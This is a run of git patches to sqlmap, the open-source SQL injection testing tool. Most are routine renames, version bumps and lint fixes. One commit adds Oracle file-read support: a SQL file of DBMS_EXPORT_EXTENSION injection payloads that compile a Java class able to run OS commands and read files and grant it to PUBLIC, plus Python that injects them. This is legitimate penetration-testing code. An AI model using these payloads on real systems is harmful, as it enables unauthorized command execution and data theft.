forceCheck=False): + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): # NOTE: this is needed here because we use xp_cmdshell extended # procedure to write a file on the back-end Microsoft SQL Server # file system @@ -386,35 +386,35 @@ def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): self.getRemoteTempPath() tmpPath = posixToNtSlashes(conf.tmpPath) - dFile = posixToNtSlashes(dFile) - with open(wFile, "rb") as f: - wFileContent = f.read() + remoteFile = posixToNtSlashes(remoteFile) + with open(localFile, "rb") as f: + localFileContent = f.read() - self._stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType) - written = self.askCheckWrittenFile(wFile, dFile, forceCheck) + self._stackedWriteFilePS(tmpPath, localFileContent, remoteFile, fileType) + written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) if written is False: message = "do you want to try to upload the file with " message += "the custom Visual Basic script technique? [Y/n] " if readInput(message, default='Y', boolean=True): - self._stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType) - written = self.askCheckWrittenFile(wFile, dFile, forceCheck) + self._stackedWriteFileVbs(tmpPath, localFileContent, remoteFile, fileType) + written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) if written is False: message = "do you want to try to upload the file with " message += "the built-in debug.exe technique? [Y/n] " if readInput(message, default='Y', boolean=True): - self._stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType) - written = self.askCheckWrittenFile(wFile, dFile, forceCheck) + self._stackedWriteFileDebugExe(tmpPath, localFile, localFileContent, remoteFile, fileType) + written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) if written is False: message = "do you want to try to upload the file with " message += "the built-in certutil.exe technique? [Y/n] " if readInput(message, default='Y', boolean=True): - self._stackedWriteFileCertutilExe(tmpPath, wFile, wFileContent, dFile, fileType) - written = self.askCheckWrittenFile(wFile, dFile, forceCheck) + self._stackedWriteFileCertutilExe(tmpPath, localFile, localFileContent, remoteFile, fileType) + written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) return written diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index c79f2ccc22a..9fffa4b2812 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -38,8 +38,8 @@ def nonStackedReadFile(self, rFile): return result - def stackedReadFile(self, rFile): - infoMsg = "fetching file: '%s'" % rFile + def stackedReadFile(self, remoteFile): + infoMsg = "fetching file: '%s'" % remoteFile logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longtext") @@ -47,13 +47,13 @@ def stackedReadFile(self, rFile): tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True)) - debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile + debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile debugMsg += "into temporary file '%s'" % tmpFile logger.debug(debugMsg) - inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile)) + inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (remoteFile, tmpFile)) debugMsg = "loading the content of hexadecimal encoded file " - debugMsg += "'%s' into support table" % rFile + debugMsg += "'%s' into support table" % remoteFile logger.debug(debugMsg) inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField)) @@ -61,12 +61,12 @@ def stackedReadFile(self, rFile): if not isNumPosStrValue(length): warnMsg = "unable to retrieve the content of the " - warnMsg += "file '%s'" % rFile + warnMsg += "file '%s'" % remoteFile if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): warnMsg += ", going to fall-back to simpler UNION technique" logger.warn(warnMsg) - result = self.nonStackedReadFile(rFile) + result = self.nonStackedReadFile(remoteFile) else: raise SqlmapNoneDataException(warnMsg) else: @@ -85,10 +85,10 @@ def stackedReadFile(self, rFile): return result @stackedmethod - def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): + def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): logger.debug("encoding file to its hexadecimal string value") - fcEncodedList = self.fileEncode(wFile, "hex", True) + fcEncodedList = self.fileEncode(localFile, "hex", True) fcEncodedStr = fcEncodedList[0] fcEncodedStrLen = len(fcEncodedStr) @@ -99,12 +99,12 @@ def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): warnMsg += "writing process" logger.warn(warnMsg) - debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) + debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) pushValue(kb.forceWhere) kb.forceWhere = PAYLOAD.WHERE.NEGATIVE - sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile) + sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, remoteFile) unionUse(sqlQuery, unpack=False) kb.forceWhere = popValue() @@ -112,12 +112,12 @@ def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): warnMsg += "file as a leftover from UNION query" singleTimeWarnMessage(warnMsg) - return self.askCheckWrittenFile(wFile, dFile, forceCheck) + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) - def linesTerminatedWriteFile(self, wFile, dFile, fileType, forceCheck=False): + def linesTerminatedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): logger.debug("encoding file to its hexadecimal string value") - fcEncodedList = self.fileEncode(wFile, "hex", True) + fcEncodedList = self.fileEncode(localFile, "hex", True) fcEncodedStr = fcEncodedList[0][2:] fcEncodedStrLen = len(fcEncodedStr) @@ -128,10 +128,10 @@ def linesTerminatedWriteFile(self, wFile, dFile, fileType, forceCheck=False): warnMsg += "writing process" logger.warn(warnMsg) - debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) + debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) - query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=dFile, HEXSTRING=fcEncodedStr) + query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=remoteFile, HEXSTRING=fcEncodedStr) query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) payload = agent.payload(newValue=query) Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False) @@ -140,9 +140,9 @@ def linesTerminatedWriteFile(self, wFile, dFile, fileType, forceCheck=False): warnMsg += "file as a leftover from original query" singleTimeWarnMessage(warnMsg) - return self.askCheckWrittenFile(wFile, dFile, forceCheck) + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) - def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): debugMsg = "creating a support table to write the hexadecimal " debugMsg += "encoded file to" logger.debug(debugMsg) @@ -150,7 +150,7 @@ def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): self.createSupportTbl(self.fileTblName, self.tblField, "longblob") logger.debug("encoding file to its hexadecimal string value") - fcEncodedList = self.fileEncode(wFile, "hex", False) + fcEncodedList = self.fileEncode(localFile, "hex", False) debugMsg = "forging SQL statements to write the hexadecimal " debugMsg += "encoded file to the support table" @@ -165,10 +165,10 @@ def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) - debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) + debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html - inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True) + inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, remoteFile), silent=True) - return self.askCheckWrittenFile(wFile, dFile, forceCheck) + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index 00520c91e78..85f59261d61 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -9,12 +9,12 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "File system read access not yet implemented for " errMsg += "Oracle" raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "File system write access not yet implemented for " errMsg += "Oracle" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index 0a3b6008665..6253a5fa6c7 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -22,22 +22,22 @@ def __init__(self): GenericFilesystem.__init__(self) - def stackedReadFile(self, rFile): - infoMsg = "fetching file: '%s'" % rFile + def stackedReadFile(self, remoteFile): + infoMsg = "fetching file: '%s'" % remoteFile logger.info(infoMsg) self.initEnv() - return self.udfEvalCmd(cmd=rFile, udfName="sys_fileread") + return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread") - def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "PostgreSQL does not support file upload with UNION " errMsg += "query SQL injection technique" raise SqlmapUnsupportedFeatureException(errMsg) - def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): - wFileSize = os.path.getsize(wFile) - content = open(wFile, "rb").read() + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): + localFileSize = os.path.getsize(localFile) + content = open(localFile, "rb").read() self.oid = randomInt() self.page = 0 @@ -56,7 +56,7 @@ def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): inject.goStacked("SELECT lo_create(%d)" % self.oid) inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid) - for offset in xrange(0, wFileSize, LOBLKSIZE): + for offset in xrange(0, localFileSize, LOBLKSIZE): fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False) sqlQueries = self.fileToSqlQueries(fcEncodedList) @@ -69,12 +69,12 @@ def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): self.page += 1 debugMsg = "exporting the OID %s file content to " % fileType - debugMsg += "file '%s'" % dFile + debugMsg += "file '%s'" % remoteFile logger.debug(debugMsg) - inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True) + inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, remoteFile), silent=True) - written = self.askCheckWrittenFile(wFile, dFile, forceCheck) + written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) inject.goStacked("SELECT lo_unlink(%d)" % self.oid) diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index 60a6afbd592..0ee81462930 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -18,7 +18,7 @@ def getCurrentDb(self): warnMsg = "on SQLite it is not possible to get name of the current database" logger.warn(warnMsg) - def isDba(self, *args, **kwargs): + def isDba(self, user=None): warnMsg = "on SQLite the current user has all privileges" logger.warn(warnMsg) diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py index c12bc48b924..89426f8fc90 100644 --- a/plugins/dbms/sqlite/filesystem.py +++ b/plugins/dbms/sqlite/filesystem.py @@ -9,10 +9,10 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on SQLite it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on SQLite it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/sybase/filesystem.py b/plugins/dbms/sybase/filesystem.py index 30b3f6b4acc..a2f8757a473 100644 --- a/plugins/dbms/sybase/filesystem.py +++ b/plugins/dbms/sybase/filesystem.py @@ -9,10 +9,10 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on Sybase it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on Sybase it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index eccf17cc59e..008fd075c0a 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -203,12 +203,12 @@ def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) - def readFile(self, remoteFiles): + def readFile(self, remoteFile): localFilePaths = [] self.checkDbmsOs() - for remoteFile in remoteFiles.split(','): + for remoteFile in remoteFile.split(','): fileContent = None kb.fileReadMode = True diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index 26a21928c58..2659765ed3c 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -165,7 +165,7 @@ def cleanup(self, onlyFileTbl=False, udfDict=None, web=False): inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True) if Backend.isDbms(DBMS.MSSQL): - udfDict = {"master..new_xp_cmdshell": None} + udfDict = {"master..new_xp_cmdshell": {}} if udfDict is None: udfDict = self.sysUdfs From c00a6425698b998b56d6ed5616f06c9dbbf98f3e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 3 Jun 2019 14:21:26 +0200 Subject: [PATCH 443/800] Implementing support for --file-read on Oracle (Issue #26) --- .../oracle/read_file_export_extension.sql | 4 ++ lib/core/agent.py | 4 +- lib/core/settings.py | 2 +- lib/techniques/error/use.py | 13 +++--- plugins/dbms/oracle/filesystem.py | 43 +++++++++++++++++-- 5 files changed, 55 insertions(+), 11 deletions(-) create mode 100644 data/procs/oracle/read_file_export_extension.sql diff --git a/data/procs/oracle/read_file_export_extension.sql b/data/procs/oracle/read_file_export_extension.sql new file mode 100644 index 00000000000..3d66bbaf53d --- /dev/null +++ b/data/procs/oracle/read_file_export_extension.sql @@ -0,0 +1,4 @@ +SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "OsUtil" as import java.io.*; public class OsUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) FROM DUAL +SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) FROM DUAL +SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function OSREADFILE(filename in varchar2) return varchar2 as language java name ''''''''OsUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) FROM DUAL +SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on OSREADFILE to public'''';END;'';END;--','SYS',0,'1',0) FROM DUAL diff --git a/lib/core/agent.py b/lib/core/agent.py index dbcb68dfbfc..17b4bc68cf5 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -265,7 +265,7 @@ def prefixQuery(self, expression, prefix=None, where=None, clause=None): return query - def suffixQuery(self, expression, comment=None, suffix=None, where=None): + def suffixQuery(self, expression, comment=None, suffix=None, where=None, trimEmpty=True): """ This method appends the DBMS comment to the SQL injection request @@ -303,7 +303,7 @@ def suffixQuery(self, expression, comment=None, suffix=None, where=None): expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER) - return re.sub(r";\W*;", ";", expression) + return re.sub(r";\W*;", ";", expression) if trimEmpty else expression def cleanupPayload(self, payload, origValue=None): if payload is None: diff --git a/lib/core/settings.py b/lib/core/settings.py index ff7f3b1c5bc..308672b5dbf 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.6" +VERSION = "1.3.6.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 3071e4f10de..841caea3016 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -74,7 +74,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): threadData.resumed = retVal is not None and not partialValue - if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: debugMsg = "searching for error chunk length..." logger.debug(debugMsg) @@ -82,8 +82,11 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): while current >= MIN_ERROR_CHUNK_LENGTH: testChar = str(current % 10) - testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) - testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery) + if Backend.isDbms(DBMS.ORACLE): + testQuery = "RPAD('%s',%d,'%s')" % (testChar, current, testChar) + else: + testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) + testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery) result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True)) @@ -112,7 +115,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): if field: nulledCastedField = agent.nullAndCastField(field) - if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace(field, nulledCastedField) @@ -172,7 +175,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): else: output = output.rstrip() - if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)): if offset == 1: retVal = output else: diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index 85f59261d61..7153244459e 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -5,14 +5,51 @@ See the file 'LICENSE' for copying permission """ +from lib.core.agent import agent +from lib.core.common import dataToOutFile +from lib.core.common import decodeDbmsHexValue +from lib.core.common import getSQLSnippet +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.request import inject +from lib.request.connect import Connect as Request from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def readFile(self, remoteFile): - errMsg = "File system read access not yet implemented for " - errMsg += "Oracle" - raise SqlmapUnsupportedFeatureException(errMsg) + localFilePaths = [] + snippet = getSQLSnippet(DBMS.ORACLE, "read_file_export_extension") + + for query in snippet.split("\n"): + query = query.strip() + query = agent.prefixQuery("OR (%s) IS NULL" % query) + query = agent.suffixQuery(query, trimEmpty=False) + payload = agent.payload(newValue=query) + Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False) + + for remoteFile in remoteFile.split(','): + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) + + kb.fileReadMode = True + fileContent = inject.getValue("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) + kb.fileReadMode = False + + if fileContent is not None: + fileContent = decodeDbmsHexValue(fileContent, True) + + if fileContent: + localFilePath = dataToOutFile(remoteFile, fileContent) + + localFilePaths.append(localFilePath) + else: + errMsg = "no data retrieved" + logger.error(errMsg) + + return localFilePaths def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "File system write access not yet implemented for " From 2b79f45cbc6eba28642713d500cfbf69142d7400 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 3 Jun 2019 15:11:36 +0200 Subject: [PATCH 444/800] Trivial update (unused globals) --- lib/core/settings.py | 2 +- lib/core/threads.py | 2 -- lib/parse/configfile.py | 2 -- 3 files changed, 1 insertion(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 308672b5dbf..93fff3647db 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.7" +VERSION = "1.3.6.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index bf9327c4866..332085f2303 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -77,8 +77,6 @@ def getCurrentThreadData(): Returns current thread's local data """ - global ThreadData - return ThreadData def getCurrentThreadName(): diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index 22aa3e2a2ef..dc6c4ac639e 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -27,8 +27,6 @@ def configFileProxy(section, option, datatype): advanced dictionary. """ - global config - if config.has_option(section, option): try: if datatype == OPTION_TYPE.BOOLEAN: From c154e64a1956f33a68d1664230f528e60d9a66fb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 4 Jun 2019 10:55:07 +0200 Subject: [PATCH 445/800] Fixes #3737 --- lib/core/settings.py | 2 +- lib/utils/search.py | 16 ++++++++++------ 2 files changed, 11 insertions(+), 7 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 93fff3647db..1c47373309d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.8" +VERSION = "1.3.6.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/search.py b/lib/utils/search.py index 3a20be03ae3..e14540c21c4 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -44,14 +44,16 @@ def _search(dork): if not dork: return None + page = None data = None - headers = {} + requestHeaders = {} + responseHeaders = {} - headers[HTTP_HEADER.USER_AGENT] = dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT) - headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE + requestHeaders[HTTP_HEADER.USER_AGENT] = dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT) + requestHeaders[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE try: - req = _urllib.request.Request("https://www.google.com/ncr", headers=headers) + req = _urllib.request.Request("https://www.google.com/ncr", headers=requestHeaders) conn = _urllib.request.urlopen(req) except Exception as ex: errMsg = "unable to connect to Google ('%s')" % getSafeExString(ex) @@ -66,7 +68,7 @@ def _search(dork): url += "&start=%d" % ((gpage - 1) * 100) try: - req = _urllib.request.Request(url, headers=headers) + req = _urllib.request.Request(url, headers=requestHeaders) conn = _urllib.request.urlopen(req) requestMsg = "HTTP request:\nGET %s" % url @@ -77,7 +79,6 @@ def _search(dork): code = conn.code status = conn.msg responseHeaders = conn.info() - page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type")) responseMsg = "HTTP response (%s - %d):\n" % (status, code) @@ -90,6 +91,7 @@ def _search(dork): except _urllib.error.HTTPError as ex: try: page = ex.read() + responseHeaders = ex.info() except Exception as _: warnMsg = "problem occurred while trying to get " warnMsg += "an error page information (%s)" % getSafeExString(_) @@ -99,6 +101,8 @@ def _search(dork): errMsg = "unable to connect to Google" raise SqlmapConnectionException(errMsg) + page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) + retVal = [_urllib.parse.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)] if not retVal and "detected unusual traffic" in page: From 3ac1283900cff14863e83b4c524dcbbf6373b4b0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 4 Jun 2019 12:15:39 +0200 Subject: [PATCH 446/800] Further pleasing pylint deity --- lib/controller/controller.py | 2 ++ lib/core/common.py | 21 +++++++++++++-------- lib/core/compat.py | 2 ++ lib/core/option.py | 4 +++- lib/core/settings.py | 2 +- lib/core/subprocessng.py | 9 +++++---- lib/core/testing.py | 2 ++ lib/request/comparison.py | 2 ++ lib/takeover/metasploit.py | 2 +- lib/techniques/blind/inference.py | 6 ++++-- lib/utils/brute.py | 2 ++ lib/utils/crawler.py | 2 ++ lib/utils/progress.py | 2 ++ 13 files changed, 41 insertions(+), 17 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 0e260720e9f..95620b801af 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import division + import os import re import time diff --git a/lib/core/common.py b/lib/core/common.py index 785e1bf3fe8..bfd1aa209ef 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import division + import binascii import codecs import collections @@ -2530,7 +2532,7 @@ def pushValue(value): Push value to the stack (thread dependent) """ - _ = None + exception = None success = False for i in xrange(PUSH_VALUE_EXCEPTION_RETRY_COUNT): @@ -2539,13 +2541,13 @@ def pushValue(value): success = True break except Exception as ex: - _ = ex + exception = ex if not success: getCurrentThreadData().valueStack.append(None) - if _: - raise _ + if exception: + raise exception def popValue(): """ @@ -5045,6 +5047,8 @@ def getSafeExString(ex, encoding=None): >>> getSafeExString(SqlmapBaseException('foobar')) == 'foobar' True + >>> getSafeExString(OSError(0, 'foobar')) == 'OSError: foobar' + True """ retVal = None @@ -5053,10 +5057,11 @@ def getSafeExString(ex, encoding=None): retVal = ex.message elif getattr(ex, "msg", None): retVal = ex.msg - elif isinstance(ex, (list, tuple)) and len(ex) > 1 and isinstance(ex[1], six.string_types): - retVal = ex[1] - elif isinstance(ex, (list, tuple)) and len(ex) > 0 and isinstance(ex[0], six.string_types): - retVal = ex[0] + elif getattr(ex, "args", None): + for candidate in ex.args[::-1]: + if isinstance(candidate, six.string_types): + retVal = candidate + break if retVal is None: retVal = str(ex) diff --git 